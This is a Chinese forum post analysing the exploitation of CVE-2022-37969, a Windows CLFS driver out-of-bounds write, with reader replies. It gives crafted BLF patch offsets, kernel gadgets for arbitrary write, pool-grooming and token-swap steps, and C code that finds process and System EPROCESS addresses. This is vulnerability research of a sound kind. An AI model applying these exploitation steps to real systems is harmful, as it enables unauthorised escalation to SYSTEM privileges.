吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8462|回复: 32
收起左侧

[漏洞分析] CVE-2022-37969 Windows 内核 CLFS 驱动漏洞分析

  [复制链接]
十一七 发表于 2023-8-4 23:45
本帖最后由 十一七 于 2023-8-4 23:44 编辑

复现环境:Windows 10 19041.1766

简介

Windows通用日志文件系统驱动程序(CLFS.sys)是一个Windows内核组件,用于管理日志文件。在Windows系统中,日志文件是记录系统事件和错误信息的关键组成部分。CVE-2022-37969通过构造BLF文件利用越界写(OOB)漏洞:BLF日志块头的SignaturesOffset字段在分配Symbol时可导致越界写,并破坏某些对象的虚拟函数表指针。攻击者可利用此漏洞来实现本地权限提升。

文件格式简介

CLFS的元数据块总数默认为6个,也就是如下的元数据类型

数据块类型 元数据块类型 描述
Control Record Control Metadata Block 包含了有关布局(layout)、扩展(extend)区域以及截断(truncate)区域的信息
Base Record General Metadata Block 包含了符号表信息,其中包括该BLF有关的客户端、容器和安全上下文信息
Truncate Record Scratch Metadata Block 包含了因为截断操作而需要对扇区进行更改的客户端信息,以及具体更改的扇区字节.

另外三个实际上是上面三个元数据的影子块。

CLFS.sys驱动调用CClfsBaseFilePersisted::ReadImage 读取并解析文件,首先读取头部0x400固定大小的块,这个块包含了文件所有的元数据块配置。

在这个块中,最终要的是以下两个结构

  • CLFS_LOG_BLOCK_HEADER

    typedef struct {
        UCHAR MajorVersion;
        UCHAR MinorVersion;
        UCHAR Usn<format=hex>;
        UCHAR ClientId;
        USHORT TotalSectorCount<comment="Number of Sectors, Size = Num * 512">;
        USHORT ValidSectorCount;
        DWORD Reserved1<format=hex>;
        DWORD Checksum<format=hex>;
        CLFS_LOG_BLOCK_FLAGS Flags;
        DWORD Reserved2<format=hex, comment="Unknown (empty value) 0x00">;
        CLFS_LSN CurrentLsn;
        CLFS_LSN NextLsn;
        DWORD RecordOffsets[16]<format=hex>;
        DWORD SignaturesOffset<format=hex>;
        DWORD Reserved3<format=hex>; // TODO: PADDING
    } CLFS_LOG_BLOCK_HEADER<fgcolor=cPurple>;
  • CLFS_CONTROL_RECORD

    typedef struct {
        CLFS_METADATA_RECORD_HEADER RecordHeader;
        ULONGLONG Magic<comment="MAGIC",format=hex, fgcolor=cLtBlue>;
        if (Magic != 0xC1F5C1F500005F1C) {
            Printf("[!] CLFS_CONTROL_RECORD Magic Error: 0x016X\n", Magic);
        }
        UCHAR Version;
        UCHAR Reserved1;
        UCHAR Reserved2;
        UCHAR Reserved3;
        CLFS_EXTEND_STATE ExtendState;
        USHORT ExtendBlock;
        USHORT FlushBlock;
        DWORD NewBlockSectors;
        DWORD ExtendStartSectors;
        DWORD ExtendSectors;
        CLFS_TRUNCATE_CONTEXT Truncate;
        DWORD Blocks;
        DWORD Reserved4;
        CLFS_METADATA_BLOCK RgBlocks[Blocks];
    } CLFS_CONTROL_RECORD<bgcolor=cLtPurple>;

在得到CLFS_LOG_BLOCK_HEADER的解析后,我们随即就可以根据RecordOffsets解析得到CLFS_CONTROL_RECORD、再根据CLFS_CONTROL_RECORD 中的RgBlocks 解析三大块。

Untitled.png

具体文件结构的解释可以参考,这里就不作叙述了。

漏洞成因分析

简单分析利用样本,能看到其构造blf patch如下

地址 原始值 目标值 备注
0x80C ?? ?? ?? ?? ?? ?? ?? ?? CRC32 CheckSum
0x868 80 79 00 00 50 00 00 00 SignatureOffset
0x9A8 68 13 00 00 30 1B 00 00 ClientContextOffset <ClientArray[0]>
0x1B98 F8 00 00 00 4b 11 01 00 cbSymbolZone
0x2390 00 00 00 00 B8 1B 00 00 Symbol Name Offset
0x2394 00 00 00 00 30 1B 00 00 Symbol Context Offset
0x23a0 00 – 07 F0 FD C1 88 00 00 00 00 00 00 01 Fake Client Context Part 1
0x2418 00 – 20 00 00 00 Fake Client Context Part 2

简单介绍下修改的字段

CRC32 CheckSum

这个是在我们构造完BLF文件后,需要重新计算CheckSum绕过文件校验。

SignatureOffset

配合我们构造的Fake Client Context Part 1完成SignatureOffset的覆写,实现OOB(详细见后)

1691163150538.jpg

ClientContextOffset

用于指向我们构造的Fake Client Context

Untitled 1.png

Symbol

这里注意到0x2394-0x2398这块内容的修改在模板匹配的文件格式上似乎并没有什么关联。

首先在正常情况下,ClientSymbolTableClientContext是相邻的,下图展示了一个正常的BLF文件。

Untitled 2.png

看到这里其实已经有了大概的猜想了,究其原因,自然离不开CLFS驱动本身对BLF文件的解析

之所以样本设置0x2394 上的内容,是因为CLFS.sys中获取符号(CClfsBaseFile::GetSymbol)是通过相对Context 的偏移实现的。

具体来讲,CClfsBaseFile::GetSymbol 是通过获取CLFS_CLIENT_CONTEXT后往前推0xC个字节获得对应符号(CLFS_HASH_SYM)中的Offset

Untitled 3.png

以正常BLF文件举例,ClientContext-0xC 对应的是Symbol的Offset,也就是对应ClientContext相对CLFS_BASE_RECORD_HEADER的偏移

Untitled 4.png

样本通过修改ClientContextOffsetClientContext指向我们构造的fakeClientContext,通过patch 0x2394 处的内容绕过CClfsBaseFile::GetSymbol 中对ClientContextOffset的验证。

同样的,样本通过修改0x2390 处的内容绕过校验。

Untitled 5.png

Context Part 1

0x23a0 处的patch实际上就是伪造了一个ClientContext,通过构造State为CLFS_LOG_SHUTDOWN使其通过CClfsLogFcbPhysical::Initialize进入CClfsLogFcbPhysical::ResetLog

Untitled 6.png

这个函数会将ClientContext+0x58上的内容覆写

Untitled 7.png

在这里即下图所示

Untitled 8.png

显而易见这会覆盖掉对应索引为13的chunk末尾两字节的signature

即覆盖10 01FF FF

Untitled 9.png

而后CClfsLogFcbPhysical::Initialize将会执行CClfsLogFcbPhysical::FlushMetadata

Untitled 10.png

继而执行CClfsBaseFilePersisted::FlushImageCClfsBaseFilePersisted::WriteMetadataBlockClfsEncodeBlockClfsEncodeBlockPrivate

ClfsEncodeBlockPrivate 函数将每个chunk末尾两字节的signature放置到SignaturesOffset偏移对应的位置上,如下图所示

Untitled 11.png

在这里用上了在此之前构造的SignaturesOffset ,简单计算下我们会发现之前通过CClfsLogFcbPhysical::ResetLog 构造的FF FF会被覆盖到0x86A 上,即0x800 + 0x50 + 0x2 * 13

Untitled 12.png

cbSymbolZone

如下图所示,我们需要调用AddLogContainer触发OOB Write

1691163184227.jpg

上面提到,样本通过fakeClientContext将SignaturesOffset 覆盖为0xffff0050 ,绕过了CClfsBaseFilePersisted::AllocSymbol 中的大小校验,从而实现任意位置的大小为0xB0的置零操作

Untitled 13.png

样本将其SymbolZone设置为0x01114B

Untitled 14.png

实际上这个值是通过一系列操作计算得到与下一个LogFile的pContainer之间的偏移,完成对pContainer内核指针的覆盖。

对于打开和创建的BLF文件,在之后内存池空间没有被占位的情况下,Base Block和下个BLF文件的Base Block几个间隔块大小经调试得出的结构偏移是常量0x11000,样本通过Windows提供的API查询SystemBigPoolInformation具体的堆地址和TAG,反复调用查询两者在Pool上的位置,保证偏移恒定后(即0x11000),当我们关闭这个两个占位文件,在这之后再次创建BLF,两者偏移量即为之前所获得的偏移量。

参见下图

Untitled 15.png

调试后可以看到symbolzone偏移对应的内存处-0x1b就是另一个blf文件的CLFS_CONTAINER_CONTEXT

Untitled 16.png

0x1b的偏移+0x18 对应的即为pContainer指针

Untitled 17.png

我们覆盖了pContainer的高位5个字节为0,将内核指针pContainer改到我们自己伪造的用户态地址上,即范围0x000000~0xFFFFFF

Untitled 18.png

做完这些,用户调用CloseHandle关闭文件,触发CClfsBaseFilePersisted::RemoveContainer 调用pContainer指向的vftable对应的函数

对应调用链如下图

CloseHandle时, 会调用CClfsBaseFilePersisted::RemoveContainer ,这个函数会获取CClfsContainer结构体, 并根据结构体虚表执行函数

Untitled 19.png

通过结合先前OOB,我们构造一个虚表引用,结合堆(池)喷射完成gadgets调用。

Untitled 20.png

这里调用两个gadgets都是精心构造的

  • CLFS!ClfsEarlierLsn

    写edx寄存器为0xFFFFFFFF

    Untitled 21.png

  • nt!SeSetAccessStateGenericMapping

    实际上就是将poi(rdx)写到poi(poi(rcx+0x48)+0x8)

    Untitled 22.png

结合这两个gadget我们可以通过以下方式,进行内核的任意写操作

  • 将我们需要写入的数据放在0xFFFFFFFF
  • 将需要写入的地址-0x8 然后放在我们构造的vftable的引用位置上,放置位置要求需要满足offset % 8 == 0, offset ≠ 0 而后执行堆喷。

CLFS部分的漏洞利用告一段落,下面我们就来分析利用样本

样本利用概述

  • 版本识别校验
    • 指定Token_EPROCESS中的Offset
    • 指定PreviousMode_ETHREAD中的Offset
    • 还有一些基本的初始化
      • 进程ID、进程句柄、进程在内核中的地址
      • 线程ID、进程句柄、线程在内核中的地址
      • Windows 10 / 11 的区分
      • Win API:NtQuerySystemInformationNtWriteVirtualMemory
  • 获取进程、内核进程(System)的_EBPROCESS及Token所在地址
  • 调用OpenProcessToken并校验ProcessToken
    • 调用VirtualAlloc,初始化空间
    • 堆喷射,写入伪造的vftable ptr
    • 循环创建BLF文件,寻找满足条件(偏移量恒定)时机,而后获取到偏移0x110000
    • 创建BLF文件,构造文件
    • 创建另一个BLF文件,添加Container
    • Windows 11
      • 利用PipeAttribute实现内核任意位置读, 结合CLFS中存在的任意位置写,实现System进程的_EPROCESS读取,得到System进程Token
      • 再次利用CLFS漏洞替换进程Token为System Token
      • 提权完成,调用system("cmd")
    • Windows 10
      • 利用CLFS中发现的任意位置写漏洞,将用户线程_ETHREAD.Token.PreviousMode 修改为0
      • 调用NtWriteVirtualMemory 替换进程Token为System Token
      • 恢复PreviousMode
      • 提权完成,调用system("cmd")

下面这个图非常全面的展示了样本的利用过程

Untitled 23.png

样本分析

下面来详细分析一下,其是如何一步一步利用上述漏洞实现内核提权。

首先是win 10 & 11共同部分

  • 版本校验

    在版本校验的函数中,其不仅校验版本,而且初始化了一些其他的全局变量

    初始化win api

    Untitled 24.png

    获取当前进程、线程的Handle

    Untitled 25.png

    获取当前进程、线程在内核中的地址

    Untitled 26.png

    通过注册表获取UBR(修补号)

    Untitled 27.png

    通过PEB获取系统版本号,结合UBR匹配到对应Windows中_EPROCESS结构体中Token的偏移

    Untitled 28.png

    如果系统是Windows10,还会多出一个PreviousMode_ETHREAD中的偏移

    Untitled 29.png

    且配备了一个系统版本区分

    Untitled 30.png

  • 获取进程、内核进程(System)的_EBPROCESS及Token所在地址

    • 调用OpenProcess获取读取进程信息的权限
    • 调用NtQuerySystemInformation 获得SystemExtendedHandleInformation
    • 遍历HandleInformation 获取样本进程对应在内核中的地址
    • 与上述方法相同,遍历获取进程号为4,即System进程的对应在内核中的地址

    对应代码如下:

    UINT GetEBPROCESSINFO() {
        HANDLE hProcess;
        DWORD CurrentProcessId;
        HMODULE hNtdll;
        NTQUERYSYSTEMINFORMATION pNtQuerySystemInformation;
        ULONG dwBytes;
        HGLOBAL hGlobal;
        NTSTATUS nStatus;
        PVOID Object;
        PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo;
    
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
        if (!hProcess) {
            fprintf(stderr, "[-] OpenProcess failed: %d\n", GetLastError());
            ExitProcess(-1);
        }
    
        CurrentProcessId = GetCurrentProcessId();
        hNtdll = GetModuleHandleW(L"ntdll.dll");
        if (!hNtdll) {
            fprintf(stderr, "[-] GetModuleHandleW failed: %d\n", GetLastError());
            ExitProcess(-1);
        }
    
        pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(GetProcAddress(hNtdll, "NtQuerySystemInformation"));
        if (!pNtQuerySystemInformation) {
            fprintf(stderr, "[-] GetProcAddress failed: %d\n", GetLastError());
            ExitProcess(-1);
        }
    
        dwBytes = 20;
        while (1) {
            dwBytes *= 2;
            hGlobal = GlobalAlloc(GMEM_ZEROINIT, dwBytes);
            nStatus = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, hGlobal, dwBytes, &dwBytes);
            if (nStatus != STATUS_INFO_LENGTH_MISMATCH) {
                break;
            }
        }
    
        if (nStatus) {
            fprintf(stderr, "[-] NtQuerySystemInformation failed: 0x%X\n", nStatus);
            ExitProcess(-1);
        }
    
        Object = NULL;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)hGlobal;
        for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
            if (pHandleInfo->Handles[i].UniqueProcessId == CurrentProcessId) {
                HANDLE hHandle = (HANDLE)pHandleInfo->Handles[i].HandleValue;
                if (hHandle == hProcess) {
                    Object = pHandleInfo->Handles[i].Object;
                    break;
                }
            }
        }
    
        if (Object == NULL) {
            fprintf(stderr, "[-] Failed to get current process token\n");
            ExitProcess(-1);
        }
    
        pProcessKernelAddress = Object;
    
        // GET SystemObject
        dwBytes = 20;
        while (1) {
            dwBytes *= 2;
            hGlobal = GlobalAlloc(GMEM_ZEROINIT, dwBytes);
            nStatus = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, hGlobal, dwBytes, &dwBytes);
            if (nStatus != STATUS_INFO_LENGTH_MISMATCH) {
                break;
            }
        }
    
        if (nStatus) {
            fprintf(stderr, "[-] NtQuerySystemInformation failed: 0x%X\n", nStatus);
            ExitProcess(-1);
        }
    
        Object = NULL;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)hGlobal;
        for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
            if (pHandleInfo->Handles[i].UniqueProcessId == 4) {
                Object = pHandleInfo->Handles[i].Object;
                break;
            }
        }
    
        if (Object == NULL) {
            fprintf(stderr, "[-] Failed to get current process token\n");
            ExitProcess(-1);
        }
    
        pSystemKernelAddress = Object;
        //getchar();
        pProcessToken = (char*)pProcessKernelAddress + uTokenOffset;
        pSystemToken = (char*)pSystemKernelAddress + uTokenOffset;
    
        return 0;
    
    }

获取ProcessToken并校验存在于SystemHandleInformation

Untitled 33.png

申请shellcode利用空间

Untitled 34.png

堆喷,指向构造的虚表

Untitled 35.png

循环创建BLF文件,寻找满足条件(偏移量恒定)时机,而后获取到偏移(0x110000

Untitled 36.png

patch 文件,构造漏洞,具体分析见上文漏洞成因分析。

Untitled 37.png

验证池上的偏移量并创建BLF文件、添加Container

Untitled 38.png

下面分析不同系统版本的利用过程

windows 10

通过clfs漏洞构造调用gadgets实现将样本进程上的PreviousMode置为0xFFFFFFFF 上的值,即0x00

Untitled 39.png

CloseHandle 时触发

Untitled 40.png

内核调试下,下图是覆盖PreviousMode

Untitled 41.png

驱动执行完SeSetAccessStateGenericMapping 后完成PreviousMode置0

Untitled 42.png

当我们替换PreviousMode0后,这意味着我们可以使用NtReadVirtualMemoryNtWriteVirtualMemory在整个内核内存中进行不受约束的RW。

随及进行Token替换

Untitled 43.png

在Token替换完后,我们将PreviousMode 还原为1

Untitled 44.png

自此完成提权。

下图很好的解释了在Windows 10上的利用过程

Untitled 45.png

Windows 11

Windows 11这里相对复杂,利用了两次CLFS漏洞

首先是利用PipeAttribute 结合CLFS漏洞将System进程的_EPORCESS复制到我们的构造的变量上,随即完成读取Token操作。

其使用到了一个PipeAttribute 结构如下

struct PipeAttribute
{
  LIST_ENTRY list;               // + 0x00
  char *AttributeName;           // + 0x10
  ULONGLONG AttributeValueSize;  // + 0x18
  char *AttributeValue;          // + 0x20
  char data[];                   // + 0x24
};

先是调用了CreatePipe创建读写管道

调用NtFsControlFile执行写操作,使内核申请到PipeAttribute

NtFsControlFile(
      Pipe.WritePipe,
      0i64,
      0i64,
      0i64,
      (PIO_STATUS_BLOCK)&IoStatusBlock,
      0x11003Cu,
      pSystemEPROCESS,
      0xFD8u,
      Dst,
      0x100);

而后遍历SystemBigPoolInformation 拿到PipeAttribute 在内核上的地址+0x18偏移写入并堆喷

Untitled 46.png

这里做的一些操作跟我们选择的gadget SeSetAccessStateGenericMapping 相关

先前提到SeSetAccessStateGenericMapping 其实就做了这个操作:poi(poi(rcx+0x48)+0x8)

poi(rcx+0x48) 也就意味着是0x010000~0xFFFFFF 任意0x8*N (N>0)上的内容

Untitled 47.png

这就是为什么堆喷如此操作,并且这里为什么是+0x18而不是直接+0x20定位到AttributeValue 也是此原因。

做完这些,我们需要再次利用CLFS漏洞替换Token

Untitled 48.png

自此完成提权。

下图很好的总结了在Windows 11中的利用过程

Untitled 49.png

参考

https://github.com/fortra/CVE-2022-37969
https://vul.360.net/archives/438
https://www.freebuf.com/articles/network/339537.html
https://github.com/ionescu007/clfs-docs
https://bbs.kanxue.com/thread-275566.htm
https://blog.qwerdf.com/2022/11/30/CVE-2022-37969/
https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part
https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part2-exploit-analysis
https://www.slideshare.net/PeterHlavaty/deathnote-of-microsoft-windows-kernel
https://www.pixiepointsecurity.com/blog/nday-cve-2022-24521.html
https://paper.seebug.org/1743/
https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion
https://www.freebuf.com/vuls/317380.html

免费评分

参与人数 20吾爱币 +20 热心值 +19 收起 理由
zhao194 + 1 + 1 我很赞同!
Zhaofeiyan + 1 用心讨论,共获提升!
Ak47_2016 + 1 + 1 用心讨论,共获提升!
kkkfew + 1 我很赞同!
xy199954 + 1 + 1 热心回复!
1MajorTom1 + 1 热心回复!
pilot34 + 1 用心讨论,共获提升!
demimule + 1 我很赞同!
allspark + 1 + 1 用心讨论,共获提升!
piduke + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
888110 + 1 + 1 下辈子再理解
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
空心 + 2 + 1 拜模大神
kingofforest + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xia0ji233 + 3 + 1 Mas0n爷!
zhangyoung + 1 用心讨论,共获提升!
Jubilee + 1 + 1 鼓励转贴优秀软件安全工具和文档!
正己 + 4 + 1 给mas0n牛打call!!!
Sillj + 1 热心回复!
为之奈何? + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

银.桑 发表于 2023-8-15 10:25
大佬,blf的解析模板能分享一下吗
fengliuyang 发表于 2023-8-5 00:12
30084yang 发表于 2023-8-5 01:12
musiccard 发表于 2023-8-5 02:21
感谢大佬分享
invers3 发表于 2023-8-5 08:18
膜拜大佬
tzlqjyx 发表于 2023-8-5 08:24
内核级别的分析,真大佬
feng3866 发表于 2023-8-5 08:37
只有膜拜的份了!
zhangyoung 发表于 2023-8-5 11:53
讲的很细,膜拜膜拜!
空心 发表于 2023-8-5 15:22
大神拜模,学习了,
bp616916 发表于 2023-8-5 16:26
大佬,真的是大佬,只能膜拜了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-21 21:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表